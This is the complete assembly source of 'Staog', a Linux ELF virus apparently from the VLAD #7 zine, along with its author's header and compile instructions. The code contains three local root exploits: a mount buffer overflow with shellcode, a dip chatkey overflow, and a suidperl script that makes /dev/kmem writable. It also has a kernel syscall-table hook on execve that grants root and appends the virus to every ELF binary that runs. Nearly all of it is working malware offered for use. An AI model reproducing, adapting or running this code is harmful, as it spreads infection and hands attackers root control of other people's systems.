# +-----------------------------------------------------------------+
# | S T A O G |
# | |
# | yo ho.. welcome to yet another attempt at the |
# | impossible and improbable. This virus is a fully |
# | resident linux elf infector. It will infect files |
# | on execute regardless of who executed them. |
# | It achieves this by hacking root via 3 separate |
# | exploits and installing itself in the kernel. It leaves |
# | no trace of itself in drop files or other noticable |
# | locations but contains no stealth of any type. |
# | |
# | This is not a script virus. It is written in 100% |
# | at&t style asm. To compile: |
# | |
# | gcc vircode.s -o vircode |
# | strip vircode |
# | |
# | The filesize should be 4744 bytes. If not put the filesize |
# | in the .long at 'filesize:' and recompile and strip. |
# | Then execute to install. After installation the |
# | generated binary will automatically be deleted. |
# | |
# | For some reason this virus will only work on ELF machines |
# | running the 1.2.13 kernel. |
# | |
# | Q U A N T U M / V L A D |
# +-----------------------------------------------------------------+
.text
.global vircode
vircode: # start of the virus
pushl $0 # entry point
pushl %ebp # setup stack frame
movl %esp,%ebp
pusha # save all regs
movl $125,%eax # make cs writable
movl $0x8000000,%ebx
movl $0x4000,%ecx
movl $7,%edx
int $0x80
call recalc # dynamic relocation
recalc:
pop %edx
subl $recalc,%edx
leal vircode(%edx),%eax # store entrypoint
movl %eax,4(%ebp)
movl $11,%eax # are we already resident ?
movl $0x666,%ebx
int $0x80
cmp $0x667,%ebx
jnz goresident
jmp ret2host
goresident:
movl 12(%ebp),%ebx # open argv[0]
xorl %ecx,%ecx
movl $5,%eax
int $0x80
or %eax,%eax
js ohfuck
movl %eax,%ebx
movl $19,%eax # seek to vircode
movl $vircode-main,%ecx
subl filesize(%edx),%ecx
pushl %edx
movl $2,%edx
int $0x80
popl %edx
subl filesize(%edx),%esp
movl $3,%eax # read in vircode
movl %esp,%ecx
pushl %edx
movl filesize(%edx),%edx
int $0x80
popl %edx
movl $6,%eax # close argv
int $0x80
movl $5,%eax # open tmp name for virus body
leal virname(%edx),%ebx
movl $577,%ecx
pushl %edx
movl $448,%edx
int $0x80
popl %edx
movl %eax,%ebx
movl $4,%eax # write vircode
movl %esp,%ecx
pushl %edx
movl filesize(%edx),%edx
int $0x80
popl %edx
movl $6,%eax # close tmp
int $0x80
addl filesize(%edx),%esp
movl $2,%eax # fork
int $0x80
orl %eax,%eax
jne ret2host
movl $36,%eax # sync
int $0x80
leal virname(%edx),%ebx # exec the virus
leal virargs(%edx),%ecx
movl %ebx,(%ecx)
movl 8(%ebp),%eax
shll $2,%eax
leal 16(%ebp),%edx
addl %eax,%edx
movl $11,%eax
int $0x80
movl $1,%eax
int $0x80
# return to host
ret2host:
movl 12(%ebp),%ebx # open argv[0]
xorl %ecx,%ecx
movl $5,%eax
int $0x80
or %eax,%eax
js ohfuck
movl %eax,%ebx
movl %esp,%edi # allocate space for return frame
subl $endstackexecode-stackexecode+50,%edi
leal stackexecode(%edx),%esi # copy return frame to stack
movl $endstackexecode-stackexecode,%ecx
pushl %edi
rep
movsb
movl $19,%eax # move to original bytes in argv[0]
movl $vircode-main,%ecx
pushl %edx
movl $2,%edx
int $0x80
popl %edx
movl $3,%eax # ready to read in org bytes
leal vircode(%edx),%ecx
movl $main-vircode,%edx
ret # goto return frame
ohfuck:
movl $1,%eax
int $0x80
stackexecode: # executed on the stack
int $0x80 # retreive original bytes
movl $6,%eax
int $0x80 # close file handle
popa # restore all registers
pop %ebp # restore stack
ret # return to host
endstackexecode:
filesize:
.long 4744
st:
.long 0
virname:
.string "/tmp/hookup"
virargs:
.long 0
.long 0
.string "Staog by Quantum / VLAD"
.global main
main:
movl %esp,%ebp
movl $11,%eax # are we already resident ?
movl $0x666,%ebx
int $0x80
cmp $0x667,%ebx
jnz goresident1
jmp tmpend
goresident1:
movl $125,%eax # make cs writable
movl $0x8000000,%ebx
movl $0x4000,%ecx
movl $7,%edx
int $0x80
movl $130,%eax # get num kernel syms
movl $0,%ebx
int $0x80
shll $6,%eax
subl %eax,%esp
movl %esp,%esi
pushl %eax
movl %esi,%ebx # get kernel syms
movl $130,%eax
int $0x80
pushl %esi
nextsym1: # find symbol
movl $thissym1,%edi
push %esi
addl $4,%esi
cmpb $95,(%esi)
jnz notuscore
incl %esi
notuscore:
cmpsl
cmpsl
pop %esi
jz foundsym1
addl $64,%esi
jmp nextsym1
foundsym1:
movl (%esi),%esi
movl %esi,current
popl %esi
pushl %esi
nextsym2: # find symbol
movl $thissym2,%edi
push %esi
addl $4,%esi
cmpsl
cmpsl
pop %esi
jz foundsym2
addl $64,%esi
jmp nextsym2
foundsym2:
movl (%esi),%esi
movl %esi,kmalloc
popl %esi
xorl %ecx,%ecx
nextsym: # find symbol
movl $thissym,%edi
movb $15,%cl
push %esi
addl $4,%esi
rep
cmpsb
pop %esi
jz foundsym
addl $64,%esi
jmp nextsym
foundsym:
movl (%esi),%esi
pop %eax
addl %eax,%esp
movl %esi,syscalltable
xorl %edi,%edi
opendevkmem:
movl $devkmem,%ebx # open /dev/kmem
movl $2,%ecx
call openfile
orl %eax,%eax
js haxorroot
movl %eax,%ebx
leal 44(%esi),%ecx # lseek to sys_call_table[SYS_execve]
call seekfilestart
movl $orgexecve,%ecx # read in execve pointer
movl $4,%edx
call readfile
leal 488(%esi),%ecx # seek to sys_call_table[SYS_uname]
call seekfilestart
movl $taskptr,%ecx # read in sys_call_table[SYS_uname]
movl $4,%edx
call readfile
movl taskptr,%ecx # seek to uname code
call seekfilestart
subl $endhookspace-hookspace,%esp
movl %esp,%ecx # read in org uname bytes
movl $endhookspace-hookspace,%edx
call readfile
movl taskptr,%ecx # seek to uname code
call seekfilestart
movl filesize,%eax # amount to alloc
addl $virend-vircode,%eax
movl %eax,virendvircodefilesize
movl $hookspace,%ecx # write our code
movl $endhookspace-hookspace,%edx
call writefile
movl $122,%eax # call uname to alloc some space
int $0x80
movl %eax,codeto
movl taskptr,%ecx # seek to uname code
call seekfilestart
movl %esp,%ecx # write org uname bytes
movl $endhookspace-hookspace,%edx
call writefile
addl $endhookspace-hookspace,%esp
subl $aftreturn-vircode,orgexecve
movl codeto,%ecx # seek to buffer
subl %ecx,orgexecve
call seekfilestart
movl $vircode,%ecx # write vircode
movl $virend-vircode,%edx
call writefile
subl filesize,%esp # read in virus
pushl %ebx
movl 8(%ebp),%ebx
movl (%ebx),%ebx
xorl %ecx,%ecx
call openfile
movl %eax,%ebx
leal 4(%esp),%ecx
movl filesize,%edx
call readfile
call closefile
popl %ebx
movl %esp,%ecx # write virus to end of alloc space
movl filesize,%edx
call writefile
addl filesize,%esp
leal 44(%esi),%ecx # seek to sys_call_table[SYS_execve]
call seekfilestart
addl $newexecve-vircode,codeto
movl $codeto,%ecx # write pointer to execve handler
movl $4,%edx
call writefile
call closefile # close file
tmpend:
movl 8(%ebp),%ebx # rm argv[0]
movl (%ebx),%ebx
call rmfile
call exit
openfile:
movl $5,%eax
int $0x80
ret
closefile:
movl $6,%eax
int $0x80
ret
readfile:
movl $3,%eax
int $0x80
ret
writefile:
movl $4,%eax
int $0x80
ret
seekfilestart:
movl $19,%eax
xorl %edx,%edx
int $0x80
ret
rmfile:
movl $10,%eax
int $0x80
ret
exit:
xorl %eax,%eax
incl %eax
int $0x80
waitchild:
movl $7,%eax
movl $-1,%ebx
movl $st,%ecx
xorl %edx,%edx
int $0x80
ret
haxorroot: # this routine makes /dev/kmem a+wr
cmpl $3,%edi
jz ret2host
movl $2,%eax # fork()
int $0x80
orl %eax,%eax # are we the child or parent
jnz parent
xorl %ebx,%ebx # close stdin
call closefile
movl $1,%ebx # close stdout
call closefile
movl $2,%ebx # close stderr
call closefile
cmpl $1,%edi # try sploit 1
jz sploit1
cmpl $2,%edi # try sploit 2
jz sploit2
movl $2,%eax # try sploit 3
int $0x80 # fork
orl %eax,%eax
jne notc1
movl $2,%eax # fork
int $0x80
orl %eax,%eax
jne notc2
movl $4,r
jmp allgo
notc2:
call waitchild # wait for child
movl $8,r
jmp allgo
notc1:
call waitchild # wait for child
movl $0,r
allgo:
subl $1029,%esp # allocate space for egg
mov %esp,%edi
movl $1028-60,%ecx
subl r,%ecx
movb $0x90,%al # add nops to egg
rep
stosb
movl $execshell,%esi # add shell to egg
movl $60,%ecx
rep
movsb
movl %esp,%eax # add return address
addl $1200,%eax
stosl
xorl %eax,%eax
stosb
movl $11,%eax # execute mount sploit
movl $mountpath,%ebx
movl $args,%ecx
movl %esp,4(%ecx)
movl $env,%edx
int $0x80
call exit
execshell:
.string "\xeb\x21\x5b\x31\xc9\x66\xb9\xff\x01\x31\xc0\x88\x43\x09\x88\x43\x14\xb0\x0f\xcd\x80\x31\xc0\xb0\x0a\x8d\x5b\x0a\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xda\xff\xff\xff/dev/kmemx/etc/mtab~"
mountpath:
.string "/sbin/mount"
r:
.long 0
args:
.long mountpath
.long 0
.long 0
env:
.long 0
dipname:
.string "/tmp/t.dip"
execthis:
.string "/bin/sh"
parm1:
.string "-c"
pathdip:
.string "/sbin/dip /tmp/t.dip"
args1:
.long execthis
.long parm1
.long pathdip
.long 0
chkey:
.string "chatkey "
hsname:
.string "/tmp/hs"
hsdat:
.string "#!/bin/sh\nchmod 666 /dev/kmem\n"
shell:
.string "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hs"
sploit1:
subl $1024,%esp # allocate space for egg
movl %esp,%edi
movl $chkey,%esi # add "chatkey " to egg
movsl
movsl
movl %esp,%eax
subl $224,%eax # add return address to egg
movl $34,%ecx
rep
stosl
movl $512-144,%ecx # add nops to egg
movb $0x90,%al
rep
stosb
movl $shell,%esi # add shell to egg
movl $50,%ecx
rep
movsb
movl $10,%al # add \n to egg
stosb
movl $dipname,%ebx # create dip script
movl $577,%ecx
movl $448,%edx
call openfile
movl %eax,%ebx
movl %esp,%ecx
pushl %edx
movl $562,%edx # write script code
call writefile
popl %edx
call closefile
movl $hsname,%ebx # create shell file to execute
movl $577,%ecx
movl $448,%edx
call openfile
movl %eax,%ebx
movl $hsdat,%ecx
movl $30,%edx
call writefile # write shell contents
call closefile
movl $2,%eax # fork
int $0x80
orl %eax,%eax
jne p1
movl $execthis,%ebx # execute sploit
movl $args1,%ecx
movl 12(%ebp),%edx
movl $11,%eax
int $0x80
call exit
p1: call waitchild # wait for sploit to finish
movl $dipname,%ebx # remove dip script
call rmfile
movl $hsname,%ebx # remove shell script
call rmfile
call exit
perlname:
.string "/tmp/b"
perldat:
.string "#!/usr/bin/suidperl -U\n$ENV{PATH}=\"/bin:/usr/bin\";\n$>=0;$<=0;\nexec(\"chmod 666 /dev/kmem\");\n"
perlargs:
.long perlname
perlenv:
.long 0
sploit2:
movl $perlname,%ebx # create perl script
movl $577,%ecx
movl $488,%edx
call openfile
movl %eax,%ebx
movl $perldat,%ecx # write perl contents
movl $91,%edx
call writefile
movl $94,%eax
movl $2496,%ecx
int $0x80
call closefile
movl $2,%eax # fork
int $0x80
orl %eax,%eax
jne p2
movl $11,%eax # execute the sploit
movl $perlname,%ebx
movl $perlargs,%ecx
movl $perlenv,%edx
int $0x80
call exit
p2:
call waitchild # wait for the child
movl $perlname,%ebx # remove perl script
call rmfile
call exit
parent:
incl %edi
call waitchild # wait for child process to finish
jmp opendevkmem
taskptr:
.long 0
otaskptr:
.long 0
codeto:
.long 0
thissym:
.string "sys_call_table"
thissym1:
.string "current"
thissym2:
.string "kmalloc"
devkmem:
.string "/dev/kmem"
e_entry:
.long 0x666
infect: # opens and infects the file in %ebx
pushl $2 # open %ebx
pushl %ebx
call 5*4(%ebp)
popl %ebx
popl %ebx
orl %eax,%eax # make sure it's opened
js e1
movl %eax,%ebx
push %fs
push %ds
pop %fs
leal e_entry(%edi),%ecx # read in elf hdr marker
movl $4,%edx
pushl %edx
pushl %ecx
pushl %ebx
call 3*4(%ebp)
addl $12,%esp
cmpl $0x464c457f,e_entry(%edi) # make sure it's elf
jnz e2
pushl $0 # seek to entrypoint storage
pushl $24
pushl %ebx
call 19*4(%ebp)
addl $12,%esp
leal e_entry(%edi),%ecx # read the entrypoint
pushl $4
pushl %ecx
pushl %ebx
call 3*4(%ebp)
addl $12,%esp
andl $0xffff,e_entry(%edi)
movl e_entry(%edi),%ecx # seek to entrypoint
pushl $0
pushl %ecx
pushl %ebx
call 19*4(%ebp)
popl %eax
popl %eax
popl %eax
subl $main-vircode,%esp # allocate space on the stack
movl %esp,%esi
pushl $main-vircode # read in host bytes
pushl %esi
pushl %ebx
call 3*4(%ebp)
addl $12,%esp
movl vircode(%edi),%eax
cmpl %eax,(%esi) # check if file infected
jz e3
pushl $2 # seek to end of file
pushl $0
pushl %ebx
call 19*4(%ebp)
addl $12,%esp
movl filesize(%edi),%eax
pushl %eax
leal virend(%edi),%eax # write virus body to end
pushl %eax
pushl %ebx
call 4*4(%ebp)
addl $12,%esp
pushl $2 # seek to end of file
pushl $0
pushl %ebx
call 19*4(%ebp)
addl $12,%esp
pushl $main-vircode # write org bytes
pushl %esi
pushl %ebx
call 4*4(%ebp)
addl $12,%esp
movl e_entry(%edi),%ecx # seek to entrypoint
pushl $0
pushl %ecx
pushl %ebx
call 19*4(%ebp)
addl $12,%esp
leal vircode(%edi),%ecx # write virus
pushl $main-vircode
pushl %ecx
pushl %ebx
call 4*4(%ebp)
addl $12,%esp
e3:
addl $main-vircode,%esp # deallocate space off stack
e2:
pop %fs
pushl %ebx
call 6*4(%ebp) # close file
popl %eax
call 36*4(%ebp) # sync
e1:
ret
uidsave:
.word 0
euidsave:
.word 0
suidsave:
.word 0
fsuidsave:
.word 0
gidsave:
.word 0
egidsave:
.word 0
sgidsave:
.word 0
fsgidsave:
.word 0
saveuids:
movl current(%edi),%eax
movl (%eax),%eax
leal 0x310(%eax),%esi
pushl %edi
leal uidsave(%edi),%edi
movl $4,%ecx
rep
movsl
popl %edi
ret
makeroot:
movl current(%edi),%eax
movl (%eax),%eax
pushl %edi
leal 0x310(%eax),%edi
xorl %eax,%eax
movl $4,%ecx
rep
stosl
popl %edi
ret
loaduids:
movl current(%edi),%eax
movl (%eax),%eax
leal uidsave(%edi),%esi
pushl %edi
leal 0x310(%eax),%edi
movl $4,%ecx
rep
movsl
popl %edi
ret
.global newexecve
newexecve:
pushl %ebp
movl %esp,%ebp
pushl %ebx
movl 8(%ebp),%ebx # get the filename to infect
pushal
cmpl $0x666,%ebx # is this our service routine ?
jnz notserv
popal
incl 8(%ebp) # yes..inc the pointer and return
popl %ebx
popl %ebp
ret
notserv:
call ring0recalc # no.. calculate ring 0 delta
ring0recalc:
popl %edi
subl $ring0recalc,%edi
movl syscalltable(%edi),%ebp # put *sys_call_table in %ebp
call saveuids # save the callers uid/euid...
call makeroot # make the caller root
call infect # infect the file
call loaduids # restore the callers uid/euid...
hookoff:
popal
popl %ebx
popl %ebp
.byte 0xe9 # goto original execve
orgexecve:
.long 0
aftreturn:
syscalltable:
.long 0
current:
.long 0
.global hookspace
hookspace:
push %ebp
pushl %ebx
pushl %ecx
pushl %edx
movl %esp,%ebp
pushl $3
.byte 0x68
virendvircodefilesize:
.long 0
.byte 0xb8 # movl $xxx,%eax
kmalloc:
.long 0
call %eax
movl %ebp,%esp
popl %edx
popl %ecx
popl %ebx
popl %ebp
ret
.global endhookspace
endhookspace:
.global virend
virend:
- VLAD #7 INDEX -